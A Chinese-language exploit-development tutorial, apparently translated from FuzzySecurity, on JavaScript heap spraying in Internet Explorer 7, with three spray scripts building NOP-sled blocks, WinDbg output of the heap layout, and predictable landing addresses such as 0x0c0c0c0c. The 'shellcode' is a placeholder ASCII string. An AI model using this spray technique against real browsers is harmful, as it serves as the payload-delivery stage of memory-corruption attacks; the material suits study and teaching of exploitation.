返回介绍

喷射 shellcode 块

发布于 2025-01-03 23:32:54 字数 13927 浏览 0 评论 0 收藏 0

之前提到,堆喷射是一种 payload 传递技术,它充分利用了 javascript 的特性. 先让我们在堆上分配一些简单字符串。

<html>
<body>
<script language='javascript'>
 
  var myvar = unescape(   
  '%u7546%u7a7a%u5379'+   // ASCII   
  '%u6365%u7275%u7469'+   // FuzzySecurity   
  '%u9079');        // 
 
  alert("allocation done");
 
</script>
</body>
</html>

下图可以看到我们成功在堆上分配 ASCII 字符串. 记得用 unescape 否则我们的字符串将会是 UNICODE.

s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc

目前为止还不错,但记住我们的目标是在堆上连续的分配 NOP+Shellcode 块. 稍微改变一下 JS 脚本如下:

<html>
<body>
<script language='javascript'>
  
  size = 0x3E8;  // 1000-bytes
  NopSlide = ''; // Initially set to be empty
  
  var Shellcode = unescape(   
  '%u7546%u7a7a%u5379'+   // ASCII   
  '%u6365%u7275%u7469'+   // FuzzySecurity   
  '%u9079');        // 
   
  // Keep filling with nops till we reach 1000-bytes
  for (c = 0; c < size; c++){ 
  NopSlide += unescape('%u9090%u9090');}
  // Subtract size of shelccode
  NopSlide = NopSlide.substring(0,size - Shellcode.length);
   
  // Spray our payload 50 times
  var memory = new Array();
  for (i = 0; i < 50; i++){
  memory[i] = NopSlide + Shellcode;}
  
  alert("allocation done");
  
</script>
</body>
</html>

本质上来讲我们正在创建一个 1000 字节 payload 块,重复 51 次. 下面是块的结构:

"\x90"*(1000-len(shellcode)) + shellcode

是时候用 Windbg 观察分配的情况了. 下面是 51 个 ASCII 字符串分配结果. 如果跟踪字符串的分配你会注意到开始的时候分配存在空隙,但是到后面的话基本上就是连续的。

0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4b846  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312f0fe  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:

0:013> d 02a4c04e
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c05e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c06e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c07e  00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01  ..........Y.H...
02a4c08e  28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90  (...............
02a4c09e  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0ae  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0be  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!

0:013> d 03130106-20
031300e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
031300f6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-1000
0312f0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f0f6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312f106  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312f116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-2000
0312e0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312e106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-3000
0312d0e6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312d0f6  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312d106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

很好,不可否认的是我们很幸运得到连续的分配. 接下来需要做什么呢。

(1) 分配更多的数据填充更多的堆空间(覆写更高的内存地址)

(2) 改变块大小以适应 BSTR 对象,是分配更稳定和连续

下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有 IE7 以下的版本测试结果一致。

<html>
<body>
<script language='javascript'>
 
  var Shellcode = unescape(   
  '%u7546%u7a7a%u5379'+   // ASCII 
  '%u6365%u7275%u7469'+   // FuzzySecurity   
  '%u9079');        //    
  
  var NopSlide = unescape('%u9090%u9090');
   
  var headersize = 20;
  var slack = headersize + Shellcode.length;
   
  while (NopSlide.length < slack) NopSlide += NopSlide;
  var filler = NopSlide.substring(0,slack);
  var chunk = NopSlide.substring(0,NopSlide.length - slack);
   
  while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
  var memory = new Array();
  for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
   
  alert("allocation done");
 
</script>
</body>
</html>

这个脚本喷射更大的内存块 0x4000(=262144 字节=0.25mb), 重复喷喷射 500 次(=125mb). 考虑到我们的 shellcode 不太会大于 1000 字节,这意味着我们有 99.997%的概率命中 NOP’s. 这样使得堆喷射更稳定. 让我们在 Windbg 观察堆喷射:

0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010  46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20  FuzzySecurity.. 
030ca75c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03b4ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03c6ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03cfffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03d8ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03e1ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03eaffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03f3ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
1521ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
152affee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1533ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
153cffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1545ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
154effee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1557ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

!peb 看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆).

另外你可以执行"!heap -stat" 看看已经提交的字节数

0:014> !peb
PEB at 7ffd8000
  InheritedAddressSpace:  No
  ReadImageFileExecOptions: No
  BeingDebugged:      Yes
  ImageBaseAddress:     00400000
  Ldr             00251e90
  Ldr.Initialized:      Yes
  Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
  Ldr.InLoadOrderModuleList:       00251ec0 . 00255918
  Ldr.InMemoryOrderModuleList:     00251ec8 . 00255920
      Base TimeStamp           Module
      400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
    7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
    7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
    77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
    77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
    767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
    77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
    76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
    76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
  SubSystemData:   00000000
  ProcessHeap:     00150000
  ProcessParameters: 00020000
  CurrentDirectory:  'C:\Documents and Settings\Administrator\Desktop\'
  WindowTitle:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
  ImageFile:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
  CommandLine:  'about:home'
[...Snip...]

让我们打印堆分配数据. 我们可以看到

98.63% 堆块正在使用

0:014> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
  size   #blocks   total   ( %) (percent of total busy bytes)
  7ffe0 1f4 - f9fc180  (98.63)
  3fff8 3 - bffe8  (0.30)
  1fff8 4 - 7ffe0  (0.20)
  7ffd0 1 - 7ffd0  (0.20)
  7ff8 b - 57fa8  (0.14)
  fff8 5 - 4ffd8  (0.12)
  1ff8 21 - 41ef8  (0.10)
  3ff8 d - 33f98  (0.08)
  ff8 f - ef88  (0.02)
  7f8 18 - bf40  (0.02)
  8fc1 1 - 8fc1  (0.01)
  7fe0 1 - 7fe0  (0.01)
  7fd0 1 - 7fd0  (0.01)
  7db4 1 - 7db4  (0.01)
  614 14 - 7990  (0.01)
  57e0 1 - 57e0  (0.01)
  20 208 - 4100  (0.01)
  5e4 b - 40cc  (0.01)
  4e4 c - 3ab0  (0.01)
  3980 1 - 3980  (0.01)
  
我们列出大小为 0x7ffe0 的块
0:014> !heap -flt s 7ffe0
  _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state
    03ad0018 fffc 0000  [0b]   03ad0020  7ffe0 - (busy VirtualAlloc)
    03bf0018 fffc fffc  [0b]   03bf0020  7ffe0 - (busy VirtualAlloc)
    03c80018 fffc fffc  [0b]   03c80020  7ffe0 - (busy VirtualAlloc)
    03d10018 fffc fffc  [0b]   03d10020  7ffe0 - (busy VirtualAlloc)
    03da0018 fffc fffc  [0b]   03da0020  7ffe0 - (busy VirtualAlloc)
    03e30018 fffc fffc  [0b]   03e30020  7ffe0 - (busy VirtualAlloc)
    03ec0018 fffc fffc  [0b]   03ec0020  7ffe0 - (busy VirtualAlloc)
    03f50018 fffc fffc  [0b]   03f50020  7ffe0 - (busy VirtualAlloc)
[...Snip...]
    15110018 fffc fffc  [0b]   15110020  7ffe0 - (busy VirtualAlloc)
    151a0018 fffc fffc  [0b]   151a0020  7ffe0 - (busy VirtualAlloc)
    15230018 fffc fffc  [0b]   15230020  7ffe0 - (busy VirtualAlloc)
    152c0018 fffc fffc  [0b]   152c0020  7ffe0 - (busy VirtualAlloc)
    15350018 fffc fffc  [0b]   15350020  7ffe0 - (busy VirtualAlloc)
    153e0018 fffc fffc  [0b]   153e0020  7ffe0 - (busy VirtualAlloc)
    15470018 fffc fffc  [0b]   15470020  7ffe0 - (busy VirtualAlloc)
    15500018 fffc fffc  [0b]   15500020  7ffe0 - (busy VirtualAlloc)

现在你可能会问告诉你自己:”这很酷,但是有什么意义呢?”. 一般上如果我们有写任意 4 字节漏洞. 为了可靠,我们从来不会用 shellcode 地址直接覆写指针(例如 EIP). 在堆喷射中我们可以决定堆布局. 我们可以在堆中布置 NOP’s+shellcode 块. 由于某个可预测的地址会指向 NOP’s, 所以我们可以用这个地址去覆写,一旦程序能执行 到 NOP’s, shellcode 也会得到执行. 下面是通常我们使用的可预测地址,在调试器看看这些地址的内容。

可预测的地址:

- 0x05050505
- 0x06060606
- 0x07070707
- ....

另外一个具有特殊意义的地址是 0x0c0c0c0c, 第二部分将会解释。

0:014> d 04040404
04040404  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040414  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040424  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040434  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040444  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040454  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040464  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040474  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050525  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050535  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050545  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050555  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050565  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050575  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 06060606
06060606  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060616  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060626  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060636  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060646  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060656  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060666  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060676  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

再次重申第一部分只讲典型的堆喷射,精确喷射会在第二部分将. 为什么需要精确喷射?

(1) 我们需要处理 DEP

(2) 我们正在利用 UAF 类漏洞

所有的准备工作完成,是时候弹 shell 了。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文